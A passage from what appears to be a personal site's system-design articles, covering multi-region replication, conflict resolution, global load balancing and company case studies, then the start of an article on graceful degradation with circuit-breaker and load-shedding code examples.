- **Active-active cells**: Cells in different regions serve same user partition
- **Region-scoped cells**: Cells within a region, replicated to other regions

### Decision Framework

<figure>

![Decision tree for multi-region architecture patterns based on RTO requirements, conflict handling capability, and blast radius concerns.](./decision-tree-for-multi-region-architecture-patterns-based-on-rto-requirements-c.svg)

<figcaption>Decision tree for multi-region architecture patterns based on RTO requirements, conflict handling capability, and blast radius concerns.</figcaption>
</figure>

**Quick decision matrix:**

| If you need...                      | Choose...                            |
| ----------------------------------- | ------------------------------------ |
| Simplest operations, minutes RTO OK | Active-Passive                       |
| Seconds RTO, can handle conflicts   | Active-Active                        |
| Seconds RTO, no conflicts           | Active-Active with data partitioning |
| Limit blast radius                  | Add Cell-Based to any pattern        |

## Data Replication Strategies

### Synchronous Replication

**How it works:**

Write is not acknowledged until all (or quorum of) replicas confirm receipt.

```
Client → Primary → [Replicas confirm] → Ack to Client
```

**Latency impact:**

Write latency = `2 × RTT to farthest replica + processing`

For US-East to EU-West (80ms RTT one-way):

- Minimum write latency: 160ms + processing
- P99 can exceed 300ms under load

**When to use:**

- Zero RPO is mandatory (financial transactions, audit logs)
- Data loss is worse than latency
- Write volume is low enough to absorb latency

**Implementations:**

- **Google Spanner**: Synchronous Paxos-based replication; external consistency
- **CockroachDB**: Consensus-based; write committed when majority acknowledges

### Asynchronous Replication

**How it works:**

Primary acknowledges write immediately, replicates in background.

```
Client → Primary → Ack to Client
         ↓ (async)
       Replicas
```

**Latency impact:**

Write latency = local processing only (microseconds to milliseconds)

**Replication lag:**

| Condition          | Typical Lag            |
| ------------------ | ---------------------- |
| Normal operation   | 10ms - 1s              |
| Network congestion | Seconds to minutes     |
| Region degradation | Minutes to hours       |
| Uber HiveSync P99  | ~20 minutes (batch)    |
| AWS Aurora Global  | Sub-second (streaming) |

**When to use:**

- Write throughput is critical
- Temporary inconsistency is acceptable
- RPO of seconds-to-minutes is tolerable

**Risk:**

Primary failure before replication completes = data loss. Committed writes may not have propagated.

### Semi-Synchronous Replication

**How it works:**

Synchronously replicate to N replicas; asynchronously to others.

```
Client → Primary → [N replicas confirm] → Ack
         ↓ (async)
       Remaining replicas
```

**Trade-off:**

- Better durability than fully async (data exists in N+1 locations)
- Better latency than fully sync (only N replicas in critical path)
- Common pattern: sync to one replica in same region, async to others

**Implementations:**

- MySQL semi-sync replication
- PostgreSQL synchronous standby with async secondaries

### Replication Topology Patterns

<figure>

![Replication topologies: Star (primary to all replicas), Chain (reduces primary load), Mesh (multi-primary active-active).](./replication-topologies.svg)

<figcaption>Replication topologies: Star (primary to all replicas), Chain (reduces primary load), Mesh (multi-primary active-active).</figcaption>
</figure>

| Topology | Use Case                        | Trade-off                   |
| -------- | ------------------------------- | --------------------------- |
| Star     | Active-passive, read replicas   | Primary is bottleneck       |
| Chain    | Reduce primary replication load | Higher lag to end of chain  |
| Mesh     | Active-active multi-primary     | Complex conflict resolution |

## Conflict Resolution

### The Conflict Problem

In active-active systems, concurrent writes to the same data in different regions create conflicts:

```
Region A: SET user.name = "Alice" @ T1
Region B: SET user.name = "Bob" @ T1
```

Both writes succeed locally. When replication happens, which value wins?

### Last-Write-Wins (LWW)

**Mechanism:** Attach timestamp to each write; higher timestamp wins.

```typescript
type LWWValue<T> = {
  value: T
  timestamp: number // Hybrid logical clock recommended
}

function merge<T>(local: LWWValue<T>, remote: LWWValue<T>): LWWValue<T> {
  return local.timestamp >= remote.timestamp ? local : remote
}
```

**Clock considerations:**

- Wall clock: Skew between regions can be seconds; NTP helps but doesn't eliminate
- Logical clocks: Monotonic per node; need hybrid for cross-node ordering
- Hybrid Logical Clocks (HLC): Combine wall time with logical counter; used by CockroachDB

**Trade-offs:**

- **Pro:** Simple to implement
- **Con:** Earlier concurrent write is silently lost
- **Use when:** Losing concurrent writes is acceptable (e.g., last-update-wins is the business rule)

### Application-Level Merge

**Mechanism:** Custom merge function per data type.

```typescript
function mergeShoppingCart(local: Cart, remote: Cart): Cart {
  // Union of items; for duplicates, sum quantities
  const merged = new Map<ItemId, CartItem>()

  for (const item of [...local.items, ...remote.items]) {
    const existing = merged.get(item.id)
    if (existing) {
      existing.quantity += item.quantity
    } else {
      merged.set(item.id, { ...item })
    }
  }

  return { items: Array.from(merged.values()) }
}
```

**Trade-offs:**

- **Pro:** Full control over merge semantics
- **Con:** Must implement and test for each data type
- **Use when:** Business logic dictates specific merge behavior

### CRDTs (Conflict-Free Replicated Data Types)

**Mechanism:** Data structures mathematically guaranteed to converge without conflicts.

**Core CRDT types:**

| CRDT                     | Use Case               | Behavior                                           |
| ------------------------ | ---------------------- | -------------------------------------------------- |
| G-Counter                | Increment-only counter | Each node tracks own count; merge = max per node   |
| PN-Counter               | Counter with decrement | Two G-Counters (positive, negative); value = P - N |
| G-Set                    | Add-only set           | Union on merge                                     |
| OR-Set (Observed-Remove) | Set with remove        | Tracks add/remove per element with unique tags     |
| LWW-Register             | Single value           | Last-write-wins with timestamp                     |
| MV-Register              | Multi-value register   | Keeps all concurrent values                        |

**G-Counter example:**

```typescript
type GCounter = Map<NodeId, number>

function increment(counter: GCounter, nodeId: NodeId): GCounter {
  const newCounter = new Map(counter)
  newCounter.set(nodeId, (counter.get(nodeId) ?? 0) + 1)
  return newCounter
}

function merge(a: GCounter, b: GCounter): GCounter {
  const merged = new Map<NodeId, number>()
  for (const nodeId of new Set([...a.keys(), ...b.keys()])) {
    merged.set(nodeId, Math.max(a.get(nodeId) ?? 0, b.get(nodeId) ?? 0))
  }
  return merged
}

function value(counter: GCounter): number {
  return Array.from(counter.values()).reduce((sum, n) => sum + n, 0)
}
```

**Trade-offs:**

- **Pro:** Automatic convergence; no custom merge logic
- **Con:** Limited data structures; can grow unbounded (tombstones)
- **Use when:** Data model fits CRDT primitives

**Production usage:**

- **Riak:** State-based CRDTs with delta-state optimization
- **Redis CRDB:** CRDTs for active-active geo-distribution
- **Figma:** Operation-based CRDTs for collaborative editing

See [CRDTs for Collaborative Systems](../crdt-for-collaborative-systems/README.md) for deep-dive.

### Choosing a Conflict Resolution Strategy

| Scenario                | Recommended Strategy                     |
| ----------------------- | ---------------------------------------- |
| User profile updates    | LWW (last update wins is expected)       |
| Shopping cart           | Application merge (union of items)       |
| Counters (likes, views) | G-Counter CRDT                           |
| Collaborative documents | Operation-based CRDTs or OT              |
| Financial balances      | Avoid conflict (single writer or quorum) |

## Global Load Balancing

### GeoDNS

**Mechanism:** DNS resolver returns different IP addresses based on client's geographic location.

```
Client (Tokyo) → DNS query → GeoDNS → Returns IP of Asia-Pacific region
Client (NYC) → DNS query → GeoDNS → Returns IP of US-East region
```

**Limitations:**

- IP geolocation is imprecise (VPNs, corporate proxies, mobile networks)
- DNS caching delays failover (TTL typically minutes)
- No real-time health awareness

**When to use:**

- Coarse-grained geographic routing
- Latency optimization (not failover)
- Cost is a concern (simpler than anycast)

### Anycast

**Mechanism:** Multiple servers share the same IP address; BGP routing directs to "closest" server.

```
Same IP announced from:
  - US-East data center
  - EU-West data center
  - Asia-Pacific data center

BGP routes to topologically closest (not geographically closest)
```

**Advantages:**

- Instant failover (BGP reconverges in seconds)
- Works regardless of DNS caching
- True network proximity (based on routing, not geography)

**Limitations:**

- Requires own AS number and upstream relationships
- Complex to operate
- Stateful connections can break during route changes

**Production usage:**

Cloudflare announces service IPs from every data center worldwide. Traffic always routes to closest data center. Regional Services feature passes traffic to region-specific processing after edge inspection.

### Latency-Based Routing

**Mechanism:** Route based on measured latency, not assumed geography.

AWS Route 53 latency-based routing:

1. AWS measures latency from DNS resolver networks to each region
2. Returns IP of region with lowest latency for that resolver
3. Periodic re-measurement adapts to network changes

**Advantages:**

- Actual performance, not assumed
- Adapts to network conditions

**Limitations:**

- Measures resolver-to-region, not end-user-to-region
- Still subject to DNS caching

### Global Server Load Balancing (GSLB)

**Mechanism:** Combines geographic awareness, health checks, and load balancing.

```
GSLB considers:
  - Geographic proximity
  - Server health (active health checks)
  - Current load per region
  - Latency measurements
```

**Typical decision flow:**

1. Client request arrives
2. GSLB checks health of all regions
3. Filters to healthy regions
4. Selects based on latency/load/geography
5. Returns appropriate endpoint

**Trade-off vs simpler approaches:**

| Approach | Failover Speed  | Health Awareness  | Complexity |
| -------- | --------------- | ----------------- | ---------- |
| GeoDNS   | Minutes (TTL)   | None              | Low        |
| Anycast  | Seconds (BGP)   | Route-level       | High       |
| GSLB     | Seconds-Minutes | Application-level | Medium     |

## Production Implementations

### Netflix: Active-Active Multi-Region

**Context:** Streaming service with 200M+ subscribers; downtime directly impacts revenue.

**Architecture:**

- Full stack deployed in US-East and US-West
- All regions active, serving production traffic
- No synchronous cross-region calls (strict region autonomy)

**Key design decisions:**

| Decision                   | Rationale                                      |
| -------------------------- | ---------------------------------------------- |
| Async replication          | Write latency critical for UX                  |
| Regional service discovery | Eliminates cross-region call latency           |
| Idempotent operations      | Safe to retry; handles duplicate processing    |
| Eventual consistency       | Accepted temporary divergence for availability |

**Data handling:**

- Writes occur locally, replicate asynchronously
- User profiles and playback states may temporarily differ
- Convergence through replicated event journals
- Deterministic A/B test bucketing (same user, same bucket regardless of region)

**Routing and failover:**

- Enhanced Zuul proxy handles active-active routing
- Detects and handles mis-routed requests
- Global routing layer shifts traffic transparently during issues
- Failover is invisible to users

**Durability:**

- Every data element replicated across 3 AZs per region
- Routine S3 snapshots to another region and non-AWS cloud
- Can survive complete region loss

**Testing:**

- Chaos Kong: Drops entire AWS region in production
- Chaos Gorilla: Drops entire availability zone
- Regular failover exercises

**Outcome:** Near-zero RTO, invisible failovers, routine region-drop tests.

### Slack: Cellular Architecture

**Context:** Enterprise messaging; AZ outages triggered architecture redesign.

**Motivation:**

Previous monolithic deployment meant AZ failure affected all users. Migration to cell-based architecture to limit blast radius.

**Architecture:**

- Each AZ contains siloed backend deployment
- Components constrained to single AZ
- Services only communicate within their AZ
- Edge load balancers (Envoy) distributed across regions

**Cell isolation:**

```
Cell A1 (AZ-1): Services A, B, C → Database A1
Cell A2 (AZ-2): Services A, B, C → Database A2
Cell A3 (AZ-3): Services A, B, C → Database A3

No cross-cell communication
```

**Failover capabilities:**

| Metric                        | Value               |
| ----------------------------- | ------------------- |
| Drain affected AZ             | < 5 minutes         |
| Traffic shift granularity     | 1%                  |
| Request handling during drain | Graceful completion |

**Implementation details:**

- Heavy investment in Envoy/xDS migration from HAProxy
- In-house xDS control plane (Rotor)
- Edge load balancers in different regions
- Control plane replicated regionally, resilient to single AZ failure

**Outcome:** AZ failures contained; graceful degradation affects subset of users.

### Uber: Multi-Region Data Consistency

**Context:** Ride-sharing and delivery; 5M daily Hive events, 8PB of data replication.

**HiveSync System:**

Cross-region batch replication for data lake:

- Event-driven jobs capture Hive Metastore changes
- MySQL logs replication events asynchronously
- Converts to replication jobs as finite-state machines
- DAG-based orchestration with dynamic sharding

**Performance:**

| Metric                | Target  | Actual      |
| --------------------- | ------- | ----------- |
| Replication SLA       | 4 hours | Met         |
| P99 lag               | -       | ~20 minutes |
| Cross-region accuracy | -       | 99.99%      |

**Data Reparo Service:**

- Scans regions for anomalies
- Fixes mismatches for consistency
- Catches replication failures and drift

**Multi-region Kafka (uReplicator):**

- Open-source solution for Kafka replication
- Extends MirrorMaker with reliability guarantees
- Zero-data-loss guarantee
- Supports active/active and active/passive consumption

**Failover handling:**

- Tracks consumption offset in primary region
- Replicates offset to other regions
- On primary failure: consumers resume from replicated offset

### CockroachDB: Multi-Active Availability

**Context:** Distributed SQL database designed for multi-region from the start.

**Approach:**

Multi-Active Availability: all replicas handle reads AND writes.

**Replication mechanism:**

- Consensus-based (Raft variant)
- Write committed when majority acknowledges
- At least 3 replicas required

**Key features:**

| Feature              | Description                                                         |
| -------------------- | ------------------------------------------------------------------- |
| Transparent failover | Region failure handled without application changes                  |
| Zero RPO             | Majority-commit means no data loss                                  |
| Near-zero RTO        | Automatic leader election                                           |
| Non-voting replicas  | Follow Raft log without quorum participation; reduces write latency |

**Multi-region topology patterns:**

1. **Regional tables:** Data pinned to specific region for compliance
2. **Global tables:** Replicated everywhere for low-latency reads
3. **Survival goals:** Configure whether to survive region or zone failure

**Availability:**

- Multi-region instances: 99.999% availability target
- Regional instances: 99.99% availability target

### Google Spanner: Multi-Region with External Consistency

**Context:** Google's globally distributed, strongly consistent database.

**Consistency guarantee:**

External consistency—stronger than linearizability. Transaction order observed by clients matches actual commit order. Achieved through TrueTime (GPS + atomic clocks).

**Replication:**

- Synchronous, Paxos-based
- Write quorum from replicas across regions
- Witness replicas provide fault tolerance without full data

**Architecture (typical):**

```
Default: 2 read-write regions (2 replicas each) + 1 witness region

Write path:
1. Leader replica receives write
2. Replicates to quorum (majority)
3. Commits when quorum acknowledges
4. Async replicates to remaining replicas
```

**Availability:**

- Multi-region: 99.999% SLA
- Regional: 99.99% SLA

**Trade-off:**

Higher write latency (cross-region Paxos) in exchange for strongest consistency guarantees.

### Implementation Comparison

| Aspect      | Netflix       | Slack      | Uber             | CockroachDB  | Spanner      |
| ----------- | ------------- | ---------- | ---------------- | ------------ | ------------ |
| Pattern     | Active-Active | Cell-Based | Hybrid           | Multi-Active | Multi-Active |
| Consistency | Eventual      | Eventual   | Eventual (batch) | Strong       | External     |
| RTO         | Seconds       | < 5 min    | Varies           | Near-zero    | Near-zero    |
| RPO         | Near-zero     | Near-zero  | Minutes (batch)  | Zero         | Zero         |
| Complexity  | High          | High       | High             | Medium       | High         |

## Common Pitfalls

### 1. Assuming Cross-Region Calls Are Fast

**The mistake:** Designing services that make synchronous cross-region calls, assuming network is reliable.

**Example:** Authentication service in US-East calls authorization service in EU-West for every request. Under load, 100ms+ RTT cascades into timeouts.

**Why it happens:** Works fine in development (same region) and low traffic (no queue buildup).

**Solutions:**

- Enforce region autonomy: services only call local instances
- Replicate data needed for authorization to each region
- Design for async where possible

### 2. Underestimating Replication Lag

**The mistake:** Building features that assume immediate replication.

**Example:** User updates profile in Region A, immediately checks from Region B, sees stale data. Files support ticket about "lost" update.

**Why it happens:** Normal lag is sub-second; pathological cases (network issues, load) can be minutes.

**Solutions:**

- Read-your-own-writes: Route user to same region for reads after write
- Version tokens: Client includes version; server ensures that version is visible
- UI feedback: Show "saving..." until confirmation propagates

### 3. Clock Skew in LWW

**The mistake:** Using wall clock time for last-write-wins without accounting for skew.

**Example:** Region A's clock is 5 seconds ahead. All its writes "win" against Region B, even if Region B's writes were actually later.

**Why it happens:** NTP reduces skew but doesn't eliminate it. Cloud providers have millisecond-level skew between regions under good conditions; seconds under bad.

**Solutions:**

- Hybrid Logical Clocks: Combine wall time with logical counter
- Centralized timestamp service: Single source of truth (but adds latency)
- Application-level versioning: Client-provided version numbers

### 4. Unbounded Growth in CRDTs

**The mistake:** Using CRDTs without planning for garbage collection.

**Example:** OR-Set tracks tombstones for deleted elements. After a year, set has 100K tombstones, 1K actual elements. Memory explodes.

**Why it happens:** CRDTs guarantee convergence by keeping metadata. Without cleanup, metadata grows forever.

**Solutions:**

- Tombstone expiry: Remove tombstones after grace period (risk: resurrection if old replica reconnects)
- Periodic compaction: Checkpoint state, truncate history
- Bounded metadata: Cap actor IDs, merge old entries

### 5. Testing Only Happy Path

**The mistake:** Testing failover manually once; not testing regularly or under load.

**Example:** Failover works in staging. In production, DNS cache TTL is higher, standby takes longer to scale, dependent services timeout during transition.

**Why it happens:** Failover testing is expensive and scary. Teams avoid it.

**Solutions:**

- Chaos engineering: Regular production failure injection (Chaos Monkey, Chaos Kong)
- Game days: Scheduled failover exercises
- Automated failover testing: CI/CD pipeline includes failover scenarios

### 6. Split-Brain Without Quorum

**The mistake:** Active-active with 2 regions; network partition leads to both accepting writes independently.

**Example:** US-East and EU-West can't communicate. Both continue serving traffic, writing conflicting data. When partition heals, data is corrupted beyond automatic merge.

**Why it happens:** 2-region active-active has no quorum; neither can determine if it's the "real" primary.

**Solutions:**

- 3+ regions: Quorum requires majority (2 of 3)
- Witness region: Doesn't serve traffic but participates in quorum
- Partition detection: One region goes read-only during partition

## Conclusion

Multi-region architecture is a spectrum of trade-offs, not a single pattern to apply. The decision tree starts with RTO requirements:

- **Minutes acceptable:** Active-passive with async replication—simpler operations, lower cost
- **Seconds required:** Active-active with conflict resolution—higher complexity, near-zero RTO
- **Blast radius concern:** Add cell-based isolation—limits failure impact regardless of active/passive choice

Data replication strategy follows from RPO:

- **Zero data loss:** Synchronous replication—pay the latency cost
- **Seconds-to-minutes acceptable:** Asynchronous replication—better performance, accept lag

Conflict resolution depends on data model:

- **Overwrite is OK:** Last-write-wins
- **Custom semantics needed:** Application-level merge
- **Countable/set-like data:** CRDTs

Production systems like Netflix, Slack, and Uber demonstrate that eventual consistency with idempotent operations and reconciliation handles most use cases. Strong consistency (Spanner, CockroachDB) is achievable but at latency cost.

The meta-lesson: **design for failure from the start**. Assume regions will fail, replication will lag, and conflicts will occur. Build idempotency, reconciliation, and graceful degradation into the foundation rather than retrofitting later.

## Appendix

### Prerequisites

- Understanding of distributed systems fundamentals (CAP theorem, consensus)
- Familiarity with database replication concepts
- Knowledge of DNS and network routing basics

### Terminology

| Term                               | Definition                                                                          |
| ---------------------------------- | ----------------------------------------------------------------------------------- |
| **RTO (Recovery Time Objective)**  | Maximum acceptable time system can be down during failure                           |
| **RPO (Recovery Point Objective)** | Maximum acceptable data loss measured in time                                       |
| **Active-Passive**                 | Architecture where one region serves traffic; others are standby                    |
| **Active-Active**                  | Architecture where all regions serve traffic simultaneously                         |
| **Cell-Based Architecture**        | Isolated deployments (cells) each serving subset of users                           |
| **CRDT**                           | Conflict-free Replicated Data Type; data structure that merges automatically        |
| **Anycast**                        | Routing technique where multiple locations share same IP; network routes to closest |
| **GeoDNS**                         | DNS that returns different IPs based on client's geographic location                |
| **Split-Brain**                    | Failure mode where partitioned nodes operate independently, causing divergence      |
| **Quorum**                         | Majority of nodes that must agree for operation to succeed                          |

### Summary

- Multi-region navigates the tension between global reach and coordination latency
- Active-passive: simple, minutes RTO, single writer
- Active-active: complex, seconds RTO, requires conflict resolution
- Cell-based: limits blast radius, orthogonal to active/passive choice
- Data replication: sync (zero RPO, high latency) vs async (low latency, potential data loss)
- Conflict resolution: LWW (simple, loses data), CRDTs (automatic, limited types), app merge (flexible, complex)
- Production systems embrace eventual consistency with idempotent operations

### References

**Architecture Patterns:**

- [AWS Well-Architected: Multi-Region Active-Active](https://aws.amazon.com/blogs/architecture/disaster-recovery-dr-architecture-on-aws-part-iv-multi-site-active-active/) - AWS multi-region DR patterns
- [AWS Well-Architected: Cell-Based Architecture](https://docs.aws.amazon.com/wellarchitected/latest/reducing-scope-of-impact-with-cell-based-architecture/what-is-a-cell-based-architecture.html) - Cell-based architecture guidance
- [Azure Multi-Region Design](https://learn.microsoft.com/en-us/azure/well-architected/reliability/highly-available-multi-region-design) - Azure multi-region strategies

**Production Case Studies:**

- [Netflix Active-Active for Multi-Regional Resiliency](https://netflixtechblog.com/active-active-for-multi-regional-resiliency-c47719f6685b) - Netflix's active-active architecture
- [Slack's Migration to Cellular Architecture](https://slack.engineering/slacks-migration-to-a-cellular-architecture/) - Slack's cell-based transformation
- [Uber's HiveSync for Cross-Region Data](https://www.uber.com/blog/building-ubers-data-lake-batch-data-replication-using-hivesync/) - Uber's data replication system
- [Uber's Kafka Disaster Recovery](https://www.uber.com/blog/kafka/) - uReplicator for multi-region Kafka

**Database Multi-Region:**

- [CockroachDB Multi-Active Availability](https://www.cockroachlabs.com/docs/stable/multi-active-availability) - CockroachDB's approach
- [Google Spanner Multi-Region](https://cloud.google.com/blog/topics/developers-practitioners/demystifying-cloud-spanner-multi-region-configurations) - Spanner replication and consistency
- [AWS Aurora Global Database](https://aws.amazon.com/blogs/database/monitor-amazon-aurora-global-database-replication-at-scale-using-amazon-cloudwatch-metrics-insights/) - Aurora replication monitoring

**Distributed Systems Theory:**

- [CAP Theorem](https://en.wikipedia.org/wiki/CAP_theorem) - Brewer's theorem and practical implications
- [CRDTs](https://crdt.tech/) - Conflict-free Replicated Data Types resources
- [Raft Consensus](https://raft.github.io/) - Raft algorithm specification

**Global Load Balancing:**

- [Cloudflare Anycast Primer](https://blog.cloudflare.com/a-brief-anycast-primer/) - How anycast works
- [AWS Route 53 Latency Routing](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy-latency.html) - Latency-based routing

---

## Graceful Degradation

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/core-distributed-patterns/graceful-degradation
**Category:** System Design / Core Distributed Patterns
**Description:** Graceful degradation is the discipline of designing distributed systems that maintain partial functionality when components fail, rather than collapsing entirely. The core insight: a system serving degraded responses to all users is preferable to one returning errors to most users. This article covers the pattern variants, implementation trade-offs, and production strategies that separate resilient systems from fragile ones.

# Graceful Degradation

Graceful degradation is the discipline of designing distributed systems that maintain partial functionality when components fail, rather than collapsing entirely. The core insight: a system serving degraded responses to all users is preferable to one returning errors to most users. This article covers the pattern variants, implementation trade-offs, and production strategies that separate resilient systems from fragile ones.

<figure>

![Graceful degradation creates multiple intermediate states between full health and complete failure, with recovery paths back to normal operation.](./graceful-degradation-creates-multiple-intermediate-states-between-full-health-an.svg)

<figcaption>Graceful degradation creates multiple intermediate states between full health and complete failure, with recovery paths back to normal operation.</figcaption>
</figure>

## Abstract

Graceful degradation transforms hard dependencies into soft dependencies through a hierarchy of fallback behaviors. The mental model:

1. **Degradation Hierarchy**: Systems define ordered fallback states—from full functionality through progressively simpler modes down to static responses—each trading capability for availability
2. **Failure Isolation**: Patterns like circuit breakers, bulkheads, and timeouts contain failures to prevent cascade propagation across service boundaries
3. **Load Management**: Admission control and load shedding protect system capacity by rejecting excess work early, keeping latency acceptable for admitted requests
4. **Recovery Coordination**: Backoff with jitter prevents thundering herd on recovery; retry budgets cap amplification during degraded states

The key design tension: aggressive fallbacks improve availability but may serve stale or incomplete data. Conservative fallbacks preserve correctness but risk cascade failures. Production systems typically err toward availability, with explicit SLOs defining acceptable staleness.

## The Problem

### Why Naive Approaches Fail

**Approach 1: Fail-Fast Everything**

Returning errors immediately when any dependency is unavailable seems honest, but propagates failures upstream. A single slow database query can cascade through dozens of dependent services, each timing out and returning errors to their callers.

**Approach 2: Infinite Retries**

Retrying failed requests until they succeed appears resilient, but creates retry storms. If a service handles 10,000 requests per second and fails for 10 seconds, naive retries generate 100,000+ additional requests, overwhelming any recovery attempt.

**Approach 3: Long Timeouts**

Setting generous timeouts (30+ seconds) to "wait for things to recover" exhausts connection pools and threads. A service with 100 threads and 30-second timeouts can only handle 3.3 requests/second during a slowdown—a 1000x capacity reduction.

### The Core Challenge

Distributed systems face a fundamental tension: **availability versus correctness**. When a dependency fails, you must choose between:

- Returning an error (correct but unavailable)
- Returning stale/incomplete data (available but potentially incorrect)
- Blocking until recovery (neither available nor responsive)

Graceful degradation provides a framework for making this choice deliberately, with explicit trade-offs documented in SLOs.

## Pattern Overview

### Core Mechanism

Graceful degradation works by defining a **degradation hierarchy**—an ordered list of fallback behaviors activated as failures accumulate:

| Level | State       | Behavior                      | Trade-off                      |
| ----- | ----------- | ----------------------------- | ------------------------------ |
| 0     | Healthy     | Full functionality            | None                           |
| 1     | Degraded    | Serve cached/stale data       | Staleness vs availability      |
| 2     | Limited     | Disable non-critical features | Functionality vs stability     |
| 3     | Minimal     | Read-only mode                | Writes lost vs reads preserved |
| 4     | Static      | Return default responses      | Personalization vs uptime      |
| 5     | Unavailable | Return error                  | Complete failure               |

Each level represents an explicit trade-off. The system progresses through levels only when lower levels become untenable.

### Key Invariants

1. **Monotonic Degradation**: Systems move through degradation levels in order; skipping from healthy to unavailable without intermediate states indicates missing fallbacks
2. **Bounded Impact**: Any single component failure affects only the features depending on that component; unrelated functionality continues normally
3. **Explicit Recovery**: Systems don't automatically return to healthy state—circuit breakers test recovery, and operators may gate full restoration

### Failure Modes

| Failure           | Impact                                            | Mitigation                                    |
| ----------------- | ------------------------------------------------- | --------------------------------------------- |
| Cascade failure   | One service failure propagates to all dependents  | Circuit breakers, timeouts, bulkheads         |
| Retry storm       | Failed requests amplified by retries              | Exponential backoff, jitter, retry budgets    |
| Thundering herd   | Simultaneous recovery overwhelms system           | Staggered recovery, jitter on first request   |
| Stale data served | Users see outdated information                    | TTL limits, staleness indicators in UI        |
| Split brain       | Different servers in different degradation states | Centralized health checks, consensus on state |

## Design Paths

### Path 1: Circuit Breaker Pattern

**When to choose this path:**

- Dependencies have distinct failure modes (timeout, error, slow)
- You need automatic recovery detection
- Service mesh or library support available

**Key characteristics:**

The circuit breaker monitors call success rates and "trips" when failures exceed a threshold, preventing further calls to a failing service. This gives the dependency time to recover without continued load.

**Three states:**

![Diagram](./diagram-1.svg)

- **Closed**: Normal operation, requests pass through, failures tracked
- **Open**: Requests fail immediately without calling dependency
- **Half-Open**: Limited test requests probe for recovery

**Implementation approach:**

```typescript title="circuit-breaker.ts" collapse={1-5, 35-50}
import { EventEmitter } from "events"

type CircuitState = "closed" | "open" | "half-open"

interface CircuitBreakerConfig {
  failureThreshold: number // Failures before opening (e.g., 5)
  successThreshold: number // Successes to close (e.g., 2)
  timeout: number // Time in open state (e.g., 30000ms)
  monitorWindow: number // Sliding window size (e.g., 10)
}

class CircuitBreaker {
  private state: CircuitState = "closed"
  private failures = 0
  private successes = 0
  private lastFailureTime = 0

  async execute<T>(fn: () => Promise<T>): Promise<T> {
    if (this.state === "open") {
      if (Date.now() - this.lastFailureTime > this.config.timeout) {
        this.state = "half-open"
        this.successes = 0
      } else {
        throw new CircuitOpenError("Circuit is open")
      }
    }

    try {
      const result = await fn()
      this.onSuccess()
      return result
    } catch (error) {
      this.onFailure()
      throw error
    }
  }

  private onSuccess(): void {
    this.failures = 0
    if (this.state === "half-open") {
      this.successes++
      if (this.successes >= this.config.successThreshold) {
        this.state = "closed"
      }
    }
  }

  private onFailure(): void {
    this.failures++
    this.lastFailureTime = Date.now()
    if (this.failures >= this.config.failureThreshold) {
      this.state = "open"
    }
  }
}
```

**Production configuration (Resilience4j):**

| Parameter                               | Typical Value | Rationale                                   |
| --------------------------------------- | ------------- | ------------------------------------------- |
| `failureRateThreshold`                  | 50%           | Opens when half of recorded calls fail      |
| `slidingWindowSize`                     | 10-20 calls   | Enough samples for statistical significance |
| `minimumNumberOfCalls`                  | 5             | Don't trip on first few failures            |
| `waitDurationInOpenState`               | 10-30s        | Time for dependency to recover              |
| `permittedNumberOfCallsInHalfOpenState` | 2-3           | Enough probes to confirm recovery           |

**Real-world example: Netflix Hystrix**

Netflix pioneered circuit breakers at scale, processing tens of billions of thread-isolated calls daily. Their key insight: the circuit breaker's fallback must be simpler than the primary path.

> "The fallback is for giving users a reasonable response when the circuit is open. It shouldn't try to be clever—a simple cached value or default is better than complex retry logic." — Netflix Tech Blog

Hystrix is now in maintenance mode; Netflix recommends Resilience4j for new projects, which uses a functional composition model:

```java title="Resilience4jExample.java" collapse={1-8, 18-25}
import io.github.resilience4j.circuitbreaker.CircuitBreaker;
import io.github.resilience4j.circuitbreaker.CircuitBreakerConfig;
import io.vavr.control.Try;

import java.time.Duration;
import java.util.function.Supplier;

// Configuration
CircuitBreakerConfig config = CircuitBreakerConfig.custom()
    .failureRateThreshold(50)
    .waitDurationInOpenState(Duration.ofSeconds(10))
    .slidingWindowSize(10)
    .minimumNumberOfCalls(5)
    .permittedNumberOfCallsInHalfOpenState(3)
    .build();

CircuitBreaker circuitBreaker = CircuitBreaker.of("userService", config);

// Usage - functional composition
Supplier<User> decoratedSupplier = CircuitBreaker
    .decorateSupplier(circuitBreaker, () -> userService.getUser(userId));

Try<User> result = Try.ofSupplier(decoratedSupplier)
    .recover(throwable -> getCachedUser(userId));  // Fallback
```

**Trade-offs vs other paths:**

| Aspect             | Circuit Breaker               | Timeout Only      | Retry Only           |
| ------------------ | ----------------------------- | ----------------- | -------------------- |
| Failure detection  | Automatic (threshold)         | Per-request       | None                 |
| Recovery detection | Automatic (half-open)         | Manual            | None                 |
| Overhead           | State tracking per dependency | Minimal           | Minimal              |
| Configuration      | Multiple parameters           | Single timeout    | Retry count, backoff |
| Best for           | Unstable dependencies         | Slow dependencies | Transient failures   |

### Path 2: Load Shedding

**When to choose this path:**

- System receives traffic spikes beyond capacity
- Some requests are more important than others
- You control the server-side admission logic

**Key characteristics:**

Load shedding rejects excess requests _before_ they consume resources, keeping latency acceptable for admitted requests. The key insight from AWS:

> "The goal is to keep serving good latencies to the requests you do accept, rather than serving bad latencies to all requests." — AWS Builders' Library

**Implementation approaches:**

**Server-side admission control:**

```typescript title="load-shedder.ts" collapse={1-3, 30-45}
import { Request, Response, NextFunction } from "express"

interface LoadShedderConfig {
  maxConcurrent: number // Max concurrent requests
  maxQueueSize: number // Max waiting requests
  priorityHeader: string // Header indicating request priority
}

class LoadShedder {
  private currentRequests = 0
  private queueSize = 0

  middleware = (req: Request, res: Response, next: NextFunction) => {
    const priority = this.getPriority(req)
    const capacity = this.getAvailableCapacity()

    // High priority: always admit if any capacity
    // Low priority: only admit if significant capacity
    const threshold = priority === "high" ? 0 : 0.3

    if (capacity < threshold) {
      res.status(503).header("Retry-After", "5").send("Service overloaded")
      return
    }

    this.currentRequests++
    res.on("finish", () => this.currentRequests--)
    next()
  }

  private getPriority(req: Request): "high" | "low" {
    // Payment endpoints are always high priority
    if (req.path.includes("/checkout") || req.path.includes("/payment")) {
      return "high"
    }
    return (req.headers[this.config.priorityHeader] as "high" | "low") ?? "low"
  }

  private getAvailableCapacity(): number {
    return 1 - this.currentRequests / this.config.maxConcurrent
  }
}
```

**Priority-based shedding:**

| Priority | Shed When Capacity Below | Examples                           |
| -------- | ------------------------ | ---------------------------------- |
| Critical | 0% (never shed)          | Health checks, payment processing  |
| High     | 20%                      | User-facing reads, search          |
| Medium   | 40%                      | Background syncs, analytics events |
